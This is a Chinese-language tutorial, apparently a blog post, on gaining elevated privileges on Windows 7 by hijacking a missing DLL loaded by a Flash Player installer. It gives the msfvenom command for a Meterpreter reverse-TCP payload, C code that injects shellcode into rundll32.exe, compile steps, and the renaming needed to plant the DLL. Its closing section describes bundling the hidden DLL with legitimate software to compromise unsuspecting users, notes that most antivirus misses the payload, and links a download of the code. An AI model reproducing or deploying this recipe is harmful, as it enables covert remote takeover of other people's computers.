0x00 背景
UAC(User Account Control,用戶帳戶控制)是微軟為提高系統(tǒng)安全而在Windows Vista中引入的新技術,它要求用戶在執(zhí)行可能會影響計算機運行的操作或執(zhí)行更改影響其他用戶的設置的操作之前,提供權限或管理員密碼。也就是說一旦用戶允許啟動的應用程序通過UAC驗證,那么這個程序也就有了管理員權限。如果我們通過某種方式劫持了通過用戶UAC驗證的程序,那么相應的我們的程序也就實現(xiàn)了提權的過程。
0x01 提權過程概述
首先我們找到目標程序,查找其動態(tài)加載的dll文件然后將其替換掉,插入我們包含shellcode的dll文件,這樣用戶在安裝此文件的時候就會調用我們的dll文件,并執(zhí)行我們的shellcode代碼。同時為了防止程序崩掉導致我們的代碼退出,采用注入的方式保證shellcode的穩(wěn)定執(zhí)行。在此過程中,如果目標程序請求UAC權限,對于用戶來說這是一個正常的安裝文件,一旦通過UAC驗證,相應我們的shellcode也完成了提權過程。替換安裝包dll文件這種行為太過于敏感,其實最后實現(xiàn)的方式是找到目標程序需要加載的,并且當前目錄又不存在的需要聯(lián)網下載的dll文件,我們只需要在該目錄下放一個同名dll文件即可。
0x02 實驗環(huán)境
Kali Debian7
Kali集成Metasploit等漏洞利用工具,方便提取shellcode和反彈TCP連接。最好安裝一個Mingw-w64用于編譯c代碼。
windows7 x64
主要的目標測試環(huán)境。
Procmon.exe
Procmon是微軟出的一款強大的Windows監(jiān)視工具,不但可以監(jiān)視進程/線程,還可以監(jiān)控到文件系統(tǒng),注冊表的變化等。
install_flashplayer15x32_mssd_aaa_aih
這里我們以flashplayer安裝文件作為目標文件,版本為15x32_mssd_aaa_aih,可自行下載,或者從最后的打包附件中找到。
0x03 詳細提權過程
查找可劫持的dll文件
首先我們在win7系統(tǒng)下先打開procmon監(jiān)控軟件,清除一下日志信息,然后運行我們的目標文件install_flashplayer15x32_mssd_aaa_aih,運行過后會彈出UAC選項,需要用戶確認授權。
這里我們點“是”,然后安裝包開始安裝并自刪除,并從服務器下載所需的文件,這時候就可以關掉了,因為我們只需要看該軟件包都加載了哪些dll文件。
看下Procmon.exe記錄所有行為
信息量太大,我們需要過濾出有用的信息。
首先是只看我們目標進程的信息,添加過濾規(guī)則:
Process Name is install_flashplayer15x32_mssd_aaa_aih
然后是過濾掉加載系統(tǒng)的dll文件,只看安裝包當前目錄下加載的dll文件,我這里安裝包存放在dllhijack文件夾下,添加過濾規(guī)則:
Path contains dllhijack
并且該加載dll不存在,需要聯(lián)網從服務器下載,最后再添加一個過濾規(guī)則:
Result is NAME NOT FOUND
三個過濾規(guī)則如下所示:
經過三個規(guī)則過濾后,留下的信息就很明顯了,如下圖所示:
上邊所列的dll文件都是會嘗試加載,并且找不到,會聯(lián)網進行下載的dll文件,因此,我們的目標就是劫持這些dll文件,也不需要替換,直接將我們的dll文件放在安裝包同目錄即可,這也是為什么選擇這個安裝程序測試的原因。如果選擇其他安裝包測試的,最好也是選擇這種聯(lián)網安裝類型的,所有文件都從服務器拉取,如果安裝程序沒有對這些從服務器拉取的文件進行效驗,就能夠被劫持。
編寫exploit
找到劫持了dll文件后,我們進入Debian系統(tǒng)用msf生成shellcode,這里我們選擇反彈tcp的shellcode,需要知道服務器ip地址和監(jiān)聽端口,這里也選擇Debian系統(tǒng)作為服務器,ifconfig查看下ip,設置監(jiān)聽端口為9000,最后執(zhí)行如下命令生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=9000 -f c
為了防止程序掛掉或者退出導致shellcode也跟著退出,采用注入的方式,將shellcode注入rundll32.exe進程,然后連接遠程端口。服務器監(jiān)聽該端口,一旦有請求就建立會話連接,注入關鍵代碼:
if (CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
最后將程序編譯,這里編譯直接在Debian系統(tǒng)下用Mingw-w64編譯,命令入下:
root@idhyt:~/maldemo# i686-w64-mingw32-gcc template.c -o template.dll –shared
root@idhyt:~/maldemo# file template.dll
template.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows
將編譯好的template.dll拷貝到win7系統(tǒng)中備用。
debian系統(tǒng)設置服務器并監(jiān)聽9000端口,所有命令如下:
提權
將編譯的template.dll文件放在install_flashplayer15x32_mssd_aaa_aih目錄下,從我們監(jiān)控到的可劫持dll文件中選擇一個,這里我選擇dhcpcsv6.dll。將我們的dll文件改名為dhcpcsvc6.dll,其他dll文件可自行嘗試。之后重新運行安裝包,彈出UAC選項后點“是”。
之后我們在debian系統(tǒng)的服務端會看到我們已經監(jiān)聽到了這個端口,看下會話信息:
查看下當前uid,然后執(zhí)行getsystem命令權限:
可以看到已經提權成功,然后進入shell查看下文件,運行個計算器什么的
0x04 總結
UAC很大程度上減少PC受到惡意軟件侵害的機會,但是并不表明是不可被利用的。通過這種dll劫持方式,可以將dll文件設置為隱藏,并將正常的軟件(如adobe flash player)打包給用戶,用戶基本是察覺不到的,一旦用戶正常安裝,機器就會被攻擊者控制。一些病毒通過劫持lpk.dll等系統(tǒng)dll文件造成的病毒體執(zhí)行,也是利用這種思路,但是替換系統(tǒng)文件這種敏感操作,基本逃不過殺軟的監(jiān)控了。
各殺軟廠商對shellcode這種檢測和防御也不夠嚴格,直接從msf中提取的shellcode,沒做任何變形和過殺軟處理,然后virustotal網站上掃描結果如下:
可以看出總共用了56中殺毒軟件掃描,報毒的只有16個,然后看下國內的殺軟:
國內殺軟全都沒有報毒,所以通過dll劫持提權還是有很大的使用空間。 代碼和安裝包上傳百度網盤:鏈接: http://pan.baidu.com/s/1ntAbfQD 密碼: rmsq 解壓碼:ks123456